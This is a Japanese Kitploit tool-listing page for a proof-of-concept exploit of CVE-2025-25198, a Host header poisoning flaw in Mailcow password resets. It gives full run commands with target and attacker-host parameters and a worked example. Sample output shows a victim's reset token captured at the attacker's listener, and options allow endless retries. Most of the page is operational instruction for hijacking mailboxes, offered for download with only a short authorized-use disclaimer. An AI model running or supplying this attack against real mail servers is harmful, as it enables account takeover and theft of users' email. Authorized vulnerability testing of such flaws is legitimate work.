Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-25198-PoC — CVE-2025-25198 の PoC: Mailcow 向け自動 Host ヘッダーポイズニングテスト — HTTPS リスナー、Cookie/CSRF の自動処理、最初のリセットリンクを取得 | Kitploit
ツール/GitHubGitHub/groppoxx/cve-2025-25198-poc
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubgroppoxx/cve-2025-25198-poc

CVE-2025-25198-PoC

CVE-2025-25198 の PoC: Mailcow 向け自動 Host ヘッダーポイズニングテスト — HTTPS リスナー、Cookie/CSRF の自動処理、最初のリセットリンクを取得

リポジトリを見る
2013ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2025-25198-PoC

Mailcow のパスワードリセットフローに影響する Host ヘッダーポイズニング(Host ヘッダー汚染)問題である CVE-2025-25198 の概念実証(PoC)です。

このスクリプトは、ポート 443 でローカル HTTPS リスナーを起動し、有効な CSRF トークンを自動的に取得して、細工した Host ヘッダー付きでパスワードリセット処理を送信します。HTTP レスポンスまたはリスナーへのコールバックのいずれかからリセットリンクを取得すると停止します。

動作内容

  1. 自己署名証明書で HTTPS リスナーを起動します。
  2. 新しい HTTP クライアントセッションを作成します。
  3. CSRF トークンを自動的に取得します。
  4. 制御された Host ヘッダーでリセットフローを送信します。
  5. レスポンスとリダイレクトからリセットリンクを抽出します。
  6. ターゲットがリンクを帯域外(out-of-band)で送信する場合に備えて、リスナーへのヒットを待機します。
  7. 最初の有効なリセットリンクで停止し、それを簡潔に出力します。

必要条件

root@kitploit:~
Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target

依存関係のインストール:

root@kitploit:~
pip install -r requirements.txt

クイックスタート

山かっこ(< >)で囲まれた値はプレースホルダーです。ご自身の値に置き換え、< と > の文字は含めないでください。

root@kitploit:~
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL> \
  --username <MAILBOX> \
  --attacker-host <ATTACKER_HOST> \
  --http2

プレースホルダー

root@kitploit:~
<MAILCOW_URL>    # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX>        # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST>  # IP or DNS name that the target can reach on TCP/443.

完全な例

root@kitploit:~
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username [email protected] \
  --attacker-host 10.10.13.12 \
  --http2

出力例:

root@kitploit:~
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝

デモ

asciicast

オプションフラグ

root@kitploit:~
--http2
   Use HTTP/2 via httpx. Recommended for best parity with modern browsers.

--interval <seconds>
   Seconds between attempts and listener wait windows. Default: 8

--max-attempts <N>
   Stop after N attempts. Default: 0, which means retry indefinitely.

--cookie '<pairs>'
   Seed the client cookie jar manually.
   Example: --cookie 'PHPSESSID=abcdef123456; another=value'

--csrf <TOKEN>
   Use a known CSRF token instead of auto-discovery.

--only-final
   Hide progress logs and print only the final reset-link banner.

注意事項

  • リスナーは常にポート 443 にバインドされます。
  • Linux/macOS では、ポート 443 へのバインドに sudo または root 権限が必要です。
  • ターゲットから https://<ATTACKER_HOST>/ に到達できる必要があります。
  • HTTP レスポンス内にリセットリンクが見つかった場合、スクリプトは直ちに終了します。
  • レスポンス内にリンクが見つからない場合、スクリプトは HTTPS リスナーへのコールバックを待機します。
  • リンクが取得できない場合、デフォルトでは 8 秒ごとに一連の処理を再試行します。
  • server.pem と server.key は存在しない場合に自動生成されます。

法的免責事項

この PoC は、許可されたセキュリティテスト、ラボ環境、および脆弱性の検証を目的としています。 明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード